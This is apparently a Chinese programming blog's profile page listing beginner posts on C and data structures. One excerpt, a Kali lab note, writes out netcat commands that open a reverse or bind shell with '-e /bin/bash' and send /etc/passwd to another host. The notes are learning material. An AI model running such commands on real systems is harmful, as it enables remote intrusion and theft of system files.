自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(22)
  • 收藏
  • 关注

原创 单链表的增删查改

【代码】单链表的增删查改。

2025-09-22 22:41:28 105

原创 循环队列-

【代码】循环队列-

2025-09-13 15:10:51 122

原创 栈---入栈,出栈,判空

【代码】栈---入栈,出栈,判空。

2025-09-12 21:30:04 399

原创 单链表的头插法和尾插法代码的实现

【代码】单链表的头插法和尾插法代码的实现。

2025-08-24 11:02:30 364

原创 线性表的增删查

插入是“往里传值”,用ElemType e单向传值就够;删除是“往外吐值”,必须用(引用)把删除的数据 “带出去” 给调用者。//顺序表中元素的类型//定义数组,用来存元素int length;//当前顺序表中有多少个元素}SqList;if (i<1 || i>L.length + 1)//判断要插入的元素位置是否合法if (L.length >= MaxSize)//元素储存满了,不能再存了j >= i;j--)//移动顺序表中的元素,依次往后移动。

2025-08-23 21:20:28 202

原创 C语言练习——记录出现次数,字符逆转

【代码】C语言练习——记录出现次数,字符逆转。

2025-08-19 21:15:54 156

原创 C语言练习————换钱问题(穷举法,枚举法)

【代码】C语言练习————换钱问题(穷举法,枚举法)

2025-08-18 20:03:00 240

原创 C语言学习第10天——gets puts str系列 指针补充

上述这种代码 对于一下子可以输出 How are you 不是很方便,只能定义三个字符串数组,然后依次输入,才能输出。改指针指向 → 传二级指针(指针的地址),而不是指针变量本身的大小。注意:fgets的用法。的第二个参数需要传入。

2025-08-17 17:09:01 440

原创 AVL树的性质和调整

2025-08-12 22:57:53 102

原创 BST(二叉排序树的查找,插入,删除

2025-08-12 22:50:10 88

原创 C语言学习第9天——指针(1)

结论:指针的类型决定了,对指针解引用的时候有多大的权限(⼀次能操作几个字节)。而int* 的指针的解引⽤就能访问四个字节。结论:指针的类型决定了指针向前或者向后走⼀步有多大(距离)。,只要指针类型的变量,在相同的平台下,大小都是相同的。⽐如: char* 的指针解引⽤就只能访问⼀个字节,

2025-08-08 22:21:54 260

原创 C语言学习第8天——操作符详解

接受⼀个或者多个操作数:第⼀个操作数是函数名,剩余的操作数就是传递给函数的参数。2进制序列中,最高位的1位是被当做符号 位,剩余的都是数值位。原码:直接将数值按照正负数的形式翻译成⼆进制得到的就是原码。反码:将原码的符号位不变,其他位依次按位取反就可以得到反码。2进制、8进制、10进制、16进制是数值的不同表示形式。:对于移位运算符,不要移动负数位,这个是标准未定义的。整数的2进制表示方法法有三种,即原码、反码和补码。2. 算术右移:左边⽤原该值的符号位填充,右边丢弃。: 移位操作符的操作数只能是整数。

2025-08-08 14:26:08 317

原创 C语言学习第7天——递归

其实递归程序会不断的展开,在展开的过程中,我们很容易就能发现,在递归的过程中会有重复计 算,⽽且递归层次越深,冗余计算就会越多。当我们n输⼊为50的时候,需要很⻓时间才能算出结果,这个计算所花费的时间,是我们很难接受的, 这也说明递归的写法是⾮常低效的。有时候,递归虽好,但是也会引⼊⼀些问题,所以我们⼀定不要迷恋递归,适可而止就好。递归中的递就是递推的意思,归就是回归的意思.输⼊⼀个整数m,按照顺序打印整数的每⼀位。递归的思考方式就是把大事化小的过程。输入:520 输出:520。的时候,递归便不再继续。

2025-08-08 10:52:43 721

原创 C语言学习第6天——调试

所谓调试(Debug),就是跟踪程序的运行过程,从而发现程序的逻辑错误(思路错误),或者隐藏的缺陷(Bug)。简单来说,就是找到程序错误,并且改正错误。

2025-08-07 14:27:14 780

原创 C语言学习第5天——函数

ret_type fun_name( 形式参数 )re t_type 是函数返回类型fu n_name 是函数名•括号中放的是形式参数{}括起来的是函数体函数的调⽤⼀定要满⾜,先声明后使⽤;函数的定义也是⼀种特殊的声明,所以如果函数定义放在调⽤之前也是可以的。

2025-08-07 09:48:20 333

原创 C语言学习第四天——数组

4.按照行初始化:int arr4[3][5]={{1,2},{3,4},{5,6}};3.完全初始化:int arr3[3][5]={12345,12345,12345};//arr1的数组类型就是 int [3]//arr2的数组类型就是char [3]1.不完全初始化:int arr1[3][5]={1,2};2.不完全初始化:int arr2[3][5]={0};数组的类型:去掉数组名留下的就是数组的类型。

2025-08-06 16:04:32 1728

原创 C语言学习第4天——分支循环(下)

2. 玩家猜数字,猜数字的过程中,根据猜测数据的⼤⼩给出⼤了或⼩了的反馈,直到猜对,游戏结束。1. 电脑⾃动⽣成1~100的随机数。

2025-08-06 10:04:31 209

原创 C语言学习第三天——分支循环(上)

while 和 for 这两种循环都是先判断,条件如果满⾜就进⼊循环,执⾏循环语句,如果不满⾜就跳 出循环;|| :逻辑或运算符,就是或者的意思(两侧⾄少有⼀个表达式为真,则为真,否则为假)。&& :逻辑与运算符,就是并且的意思(两侧的表达式都为真,则为真,否则为假)。注意:if else语句只能控制1条语句,2条及2条以上需要用{},括起来。注意:相等运算符 == 与赋值运算符 = 是两个不⼀样的运算符,不要混淆。首先要明确什么是素数,素数即:素数⼜称质数,只能被1和本⾝整除的数字。

2025-08-04 23:14:11 1784

原创 C语言学习第二天

上⾯⽰例中,尽管变量 x 的类型是 float (浮点数),但是 6 / 4 得到的结果是 1.0 ,⽽不是 1.5。是原因C语⾔⾥⾯的整数除法是整除,只会返回整数部分,丢弃⼩数部分。如果希望改成左对⻬,在输出内容后⾯添加空 格,可以在占位符的 % 的后⾯插⼊⼀个- 号。• IN T_MIN , INT_MAX :int的最⼩值和最⼤值。LONG_MAX ,LONG_MIN:long的最⼩值和最⼤值。负数求模的规则是,结果的正负号由第⼀个运算数的正负号决定。如果不满5位,对应的值的前⾯会添加空格。

2025-08-04 11:38:35 1530

原创 C语言学习第一天

1.转义字符2.ASCll3.字符数组和\0。

2025-08-04 10:02:01 190

原创 初学kali基本操作

Centos:nc kali 主机的ip 6666 -e /bin/bash ------连接kali的服务器。Centos: nc - lvp 6666 -e/bin/bash ------开启了监听。kali: nc centos的ip 6666 -------连接centos的服务器。新建即可,使用root用户,主机名为它们的IP,使用ip a 可以查看他们的ip。kali: nc -lvp 6666 ---------开启了监听。nc 输入ip < /etc/passwd。

2024-11-23 17:31:00 468

原创 c语言初级学习

库函数 必须含头文件才可以。例如 :printf strlen(求字符串的长度,与sizeof有个区别) scanf ,char arr[ ] ={'a' 'b' ' c' ' \0'} sizeof(char)返回值4 ,strlen(arr),返回值3。strlen 是一个函数,需要这个头文件,'\0' 结束标志。1. .c 是表示C。3.计算机中,所有数据都是由二进制形式储存。2. main函数(主函数)小结:计算字符串长度。

2024-11-21 18:09:54 212 1

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除